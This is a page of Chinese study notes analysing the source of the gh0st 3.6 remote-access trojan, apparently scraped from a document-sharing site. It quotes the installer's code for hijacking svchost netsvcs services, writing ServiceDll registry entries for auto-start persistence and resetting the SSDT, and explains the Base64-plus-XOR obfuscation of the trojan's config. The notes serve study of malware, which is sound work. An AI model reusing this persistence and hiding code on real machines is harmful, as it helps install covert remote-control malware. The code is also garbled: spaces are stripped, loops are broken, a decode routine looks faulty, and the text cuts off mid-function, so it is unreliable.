gh0st学习笔记.docx
- 文档编号:5282500
- 上传时间:2022-12-14
- 格式:DOCX
- 页数:15
- 大小:44.22KB
gh0st学习笔记.docx
《gh0st学习笔记.docx》由会员分享,可在线阅读,更多相关《gh0st学习笔记.docx(15页珍藏版)》请在冰豆网上搜索。
gh0st学习笔记
gh0st3.6_src学习
(1)-服务端安装简单分析
2010-06-0917:
44
1.从WINMAIN函数开始,首先获取安装的服务配置和上线配置
Code:
lpEncodeString=(char*)FindConfigString(hInstance,"YYYYYY");
if(lpEncodeString==NULL)
return-1;
lpServiceConfig=(char*)FindConfigString(hInstance,"CCCCCC");
if(lpServiceConfig==NULL)
return-1;
2.判断是否是更新服务端,若是更新服务端,Sleep(5000)等待原来安装被删除,若不是,首先判断,若安装了同一个服务,则退出安装。
if(strstr(GetCommandLine(),lpUpdateArgs)==NULL)
{
HANDLEhMutex=CreateMutex(NULL,true,lpEncodeString);
DWORDdwLastError=GetLastError();
//普通权限访问系统权限创建的Mutex,如果存在,如果存在就返回拒绝访问的错误
//已经安装过一个一模一样配置的,就不安装了
if(dwLastError==ERROR_ALREADY_EXISTS||dwLastError==ERROR_ACCESS_DENIED)
return-1;
ReleaseMutex(hMutex);
CloseHandle(hMutex);
}
else
{
//等待服务端自删除
Sleep(5000);
}
3.设置权限,加载驱动,安装服务
//确保权限
SetAccessRights(); //自己也不懂,以后阐述
ResetSSDT(hInstance);//具体过程不知道怎么样
lpServiceName=InstallService(lpServiceDisplayName,lpServiceDescription,lpEncodeString);
//下次具体阐述安装过程
4.写EXE路径到服务的InstallModule键值,服务开启后读取并删除安装时的EXE,启动服务
GetModuleFileName(NULL,strSelf,sizeof(strSelf));
wsprintf(strSubKey,"SYSTEM\\CurrentControlSet\\Services\\%s",lpServiceName);
WriteRegEx(HKEY_LOCAL_MACHINE,strSubKey,"InstallModule",REG_SZ,strSelf,lstrlen(strSelf),0);
StartService(lpServiceName);
5.清理工作
gh0st3.6_src学习
(2)-InstallService
2010-06-1214:
02
安装函数首先选择的是在netsvcs组里选个未安装的服务来安装。
for(ptr=strSubKey;*ptr;ptr=strchr(ptr,0)+1)
{
//////////////////////////////////////////////////////////////////////////
chartemp[500];
wsprintf(temp,"SYSTEM\\CurrentControlSet\\Services\\%s",ptr);
rc=RegOpenKeyEx(HKEY_LOCAL_MACHINE,temp,0,KEY_QUERY_VALUE,&hkRoot);
if(rc==ERROR_SUCCESS)
{
RegCloseKey(hkRoot);
continue;
}
memset(strModulePath,0,sizeof(strModulePath));
wsprintf(strModulePath,"%s\\%sex.dll",strSysDir,ptr);
//删除试试
DeleteFile(strModulePath);
//以前的服务文件没有删除之前,服务的DLL还在svchost中,所以不用这个服务
if(GetFileAttributes(strModulePath)!
=INVALID_FILE_ATTRIBUTES)
continue;
wsprintf(strRegKey,"MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s",ptr);
schService=CreateService(
hscm, //SCManagerdatabase
ptr, //nameofservice
lpServiceDisplayName, //servicenametodisplay
SERVICE_ALL_ACCESS, //desiredaccess
SERVICE_WIN32_SHARE_PROCESS,
SERVICE_AUTO_START, //starttype
SERVICE_ERROR_NORMAL, //errorcontroltype
bin, //service'sbinary
NULL, //noloadorderinggroup
NULL, //notagidentifier
NULL, //nodependencies
NULL, //LocalSystemaccount
NULL); //nopassword
if(schService!
=NULL)
break;
}
若netsvcs组里所有的服务名称都被安装了,则向netsvcs增加一个服务项
if(schService==NULL)
{
lpServiceName=AddsvchostService();
memset(strModulePath,0,sizeof(strModulePath));
wsprintf(strModulePath,"%s\\%sex.dll",strSysDir,lpServiceName);
wsprintf(strRegKey,"MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s",lpServiceName);
schService=CreateService(
hscm, //SCManagerdatabase
lpServiceName, //nameofservice
lpServiceDisplayName, //servicenametodisplay
SERVICE_ALL_ACCESS, //desiredaccess
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, //starttype
SERVICE_ERROR_NORMAL, //errorcontroltype
bin, //service'sbinary
NULL, //noloadorderinggroup
NULL, //notagidentifier
NULL, //nodependencies
NULL, //LocalSystemaccount
NULL); //nopassword
dwStartType=SERVICE_WIN32_OWN_PROCESS;
}
服务创建好后,开始配置服务的一些参数。
(包括服务的描述和DLL的路径,启动类型)
WriteRegEx(HKEY_LOCAL_MACHINE,strSubKey,"Description",REG_SZ,(char*)lpServiceDescription,lstrlen(lpServiceDescription),0);
lstrcat(strSubKey,"\\Parameters");
WriteRegEx(HKEY_LOCAL_MACHINE,strSubKey,"ServiceDll",REG_EXPAND_SZ,(char*)strModulePath,lstrlen(strModulePath),0);
清理工作和释放DLL
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
if(lpServiceName!
=NULL)
{
ReleaseResource(NULL,IDR_DLL,"BIN",strModulePath,lpConfigString);
}
函数返回安装的服务名称
gh0st3.6_src学习(3)-Base64编码
2010-06-1215:
01
Gh0st配置信息是在Base64编码基础上变化的。
先转篇文章。
熟悉一下Base64编码,下次对gh0st里Base64编码详解
什么是Base64?
按照RFC2045的定义,Base64被定义为:
Base64内容传送编码被设计用来把任意序列的8位字节描述为一种不易被人直接识别的形式。
(TheBase64Content-Transfer-Encodingisdesignedtorepresentarbitrarysequencesofoctetsinaformthatneednotbehumanlyreadable.)
为什么要使用Base64?
在设计这个编码的时候,我想设计人员最主要考虑了3个问题:
1.是否加密?
2.加密算法复杂程度和效率
3.如何处理传输?
加密是肯定的,但是加密的目的不是让用户发送非常安全的Email。
这种加密方式主要就是“防君子不防小人”。
即达到一眼望去完全看不出内容即可。
基于这个目的加密算法的复杂程度和效率也就不能太大和太低。
和上一个理由类似,MIME协议等用于发送Email的协议解决的是如何收发Email,而并不是如何安全的收发Email。
因此算法的复杂程度要小,效率要高,否则因为发送Email而大量占用资源,路就有点走歪了。
但是,如果是基于以上两点,那么我们使用最简单的恺撒法即可,为什么Base64看起来要比恺撒法复杂呢?
这是因为在Email的传送过程中,由于历史原因,Email只被允许传送ASCII字符,即一个8位字节的低7位。
因此,如果您发送了一封带有非ASCII字符(即字节的最高位是1)的Email通过有“历史问题”的网关时就可能会出现问题。
网关可能会把最高位置为0!
很明显,问题就这样产生了!
因此,为了能够正常的传送Email,这个问题就必须考虑!
所以,单单靠改变字母的位置的恺撒之类的方案也就不行了。
关于这一点可以参考RFC2046。
基于以上的一些主要原因产生了Base64编码。
算法详解
Base64编码要求把3个8位字节(3*8=24)转化为4个6位的字节(4*6=24),之后在6位的前面补两个0,形成8位一个字节的形式。
具体转化形式间下图:
字符串“张3”
110101011100010100110011
00110101000111000001010000110011
表1
可以这么考虑:
把8位的字节连成一串110101011100010100110011
然后每次顺序选6个出来之后再把这6二进制数前面再添加两个0,就成了一个新的字节。
之后再选出6个来,再添加0,依此类推,直到24个二进制数全部被选完。
让我们来看看实际结果:
字符串“张3”
11010101HEX:
D511000101HEX:
C500110011HEX:
33
00110101000111000001010000110011
字符’5’字符’^\’字符’^T’字符’3’
十进制53十进制34十进制20十进制51
表2
这样“张3”这个字符串就被Base64表示为”5^\^T3”了么?
。
错!
Base64编码方式并不是单纯利用转化完的内容进行编码。
像’^\’字符是控制字符,并不能通过计算机显示出来,在某些场合就不能使用了。
Base64有其自身的编码表:
Table1:
TheBase64Alphabet
ValueEncodingValueEncodingValueEncodingValueEncoding
0A17R34i51z
1B18S35j520
2C19T36k531
3D20U37l542
4E21V38m553
5F22W39n564
6G23X40o575
7H24Y41p586
8I25Z42q597
9J26a43r608
10K27b44s619
11L28c45t62+
12M29d46u63/
13N30e47v(pad)=
14O31f48w
15P32g49x
16Q33h50y
表3
这也是Base64名称的由来,而Base64编码的结果不是根据算法把编码变为高两位是0而低6为代表数据,而是变为了上表的形式,如”A”就有7位,而”a”就只有6位。
表中,编码的编号对应的是得出的新字节的十进制值。
因此,从表2可以得到对应的Base64编码:
字符串“张3”
11010101HEX:
D511000101HEX:
C500110011HEX:
33
00110101000111000001010000110011
字符’5’字符’^\’字符’^T’字符’3’
十进制53十进制34十进制20十进制51
字符’1’字符’i’字符’U’字符’z’
表4
这样,字符串“张3”经过编码后就成了字符串“1iUz”了。
Base64将3个字节转变为4个字节,因此,编码后的代码量(以字节为单位,下同)约比编码前的代码量多了1/3。
之所以说是“约”,是因为如果代码量正好是3的整数倍,那么自然是多了1/3。
但如果不是呢?
细心的人可能已经注意到了,在TheBase64Alphabet中的最后一个有一个(pad)=字符。
这个字符的目的就是用来处理这个问题的。
当代码量不是3的整数倍时,代码量/3的余数自然就是2或者1。
转换的时候,结果不够6位的用0来补上相应的位置,之后再在6位的前面补两个0。
转换完空出的结果就用就用“=”来补位。
譬如结果若最后余下的为2个字节的“张”:
字符串“张”
11010101HEX:
D511000101HEX:
C5
001101010001110000010100
十进制53十进制34十进制20pad
字符’1’字符’i’字符’U’字符’=’
表6
这样,最后的2个字节被整理成了“1iU=”。
同理,若原代码只剩下一个字节,那么将会添加两个“=”。
只有这两种情况,所以,Base64的编码最多会在编码结尾有两个“=”
至于将Base64的解码,只是一个简单的编码的逆过程,读者可以自己探讨。
我将在文章的最后给出解码算法。
算法实现
其实在算法详解的时候基本上已经说的很清楚了。
用于程序上,除去约束判断,大概可以分为如下几步几步:
右移两位,清0……依此类推。
AND取第一个字节的后2位和第二个字节的前4位移位放入新变量中右移两位,高两位清0用AND取前6位,放入新的变量中读取数据3字节
解码的类C语言实现的算法:
BYTELMoveBit(intbase,intMoveNum)
{
BYTEresult=base;
if(MoveNum==0)return1;
if(MoveNum==1)returnMoveNum;
result=base<<(MoveNum-1);
returnresult;
}
charbase64_alphabet[]=
{'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/','='};
BYTEBase64Decode(char*base64code,DWORDbase64length)
{
charbuf[4];
inti,j;
intk;
intl=0;
BYTEtemp1[4],temp2;
BYTE*Buffer=newBYTE[base64length*3/4];
DWORDbase64a=(base64length/4)-1;
DWORDbase64b=0;
for(;base64b { for(i=0;i<4;i++) { buf[i]=*(base64code+(base64b*4)+i); for(j=0;j<65;j++) { if(buf[i]==base64_alphabet[j]) { temp1[i]=j; break; } } } i--; for(k=1;k<4;k++) { if(temp1[i-(k-1)]==64){m_padnum++;continue;} temp1[i-(k-1)]=temp1[i-(k-1)]/LMoveBit(2,(k-1)*2); temp2=temp1[i-k]; temp2=temp2&(LMoveBit(2,k*2)-1); temp2*=LMoveBit(2,8-(2*k));//move4 temp1[i-(k-1)]=temp1[i-(k-1)]+temp2; Buffer[base64b*3+(3-k)]=temp1[i-(k-1)]; } } returnBuffer; } 主要参考资料: RFC2045 RFC2046 《奇妙的Base64编码》,罗聪 以及一些来自互联网上的其他资料 DOC文档也可以从 下载, gh0st3.6_src学习(4)-Gh0st配置信息加密算法 2010-06-1316: 53 Gh0st的配置信息加密算法由两部分组成 1.base64编码,在函数base64_encode函数中 2.一个简单的异或算法,在MyEncode函数中 首先分析下base64_encode函数,上节贴了篇base64编码的算法,这里总结下那算法,以3个字节为一组,即24位为一组,然后分成4份,每份得6位,再将高两位补零。 得到一个新的字节。 再将这字节大小在码表中查找对应的字符。 如果要编码的字节多少不是3的倍数,则在后填0,使之为3的倍数。 intbase64_encode(constvoid*data,intsize,char**str);data为待编码的一组数据指针,str编码后的数据指针的地址(指针)。 staticcharbase64[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; //码表 函数首先定义了相关变量。 char*s,*p; //s为编码后数据指针的地址,p与s一样 inti; //i为游标,取出每个待编码的字节 intc; //取出的每个待编码的数据都放在c中,每3个字节为一组 constunsignedchar*q; //存放待编码的数据 初始化各变量的值 p=s=(char*)malloc(size*4/3+4); //分配所需的空间 if(p==NULL) return-1; q=(constunsignedchar*)data; i=0; 下面开始循环,编码每个字符 for(i=0;i
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- gh0st 学习 笔记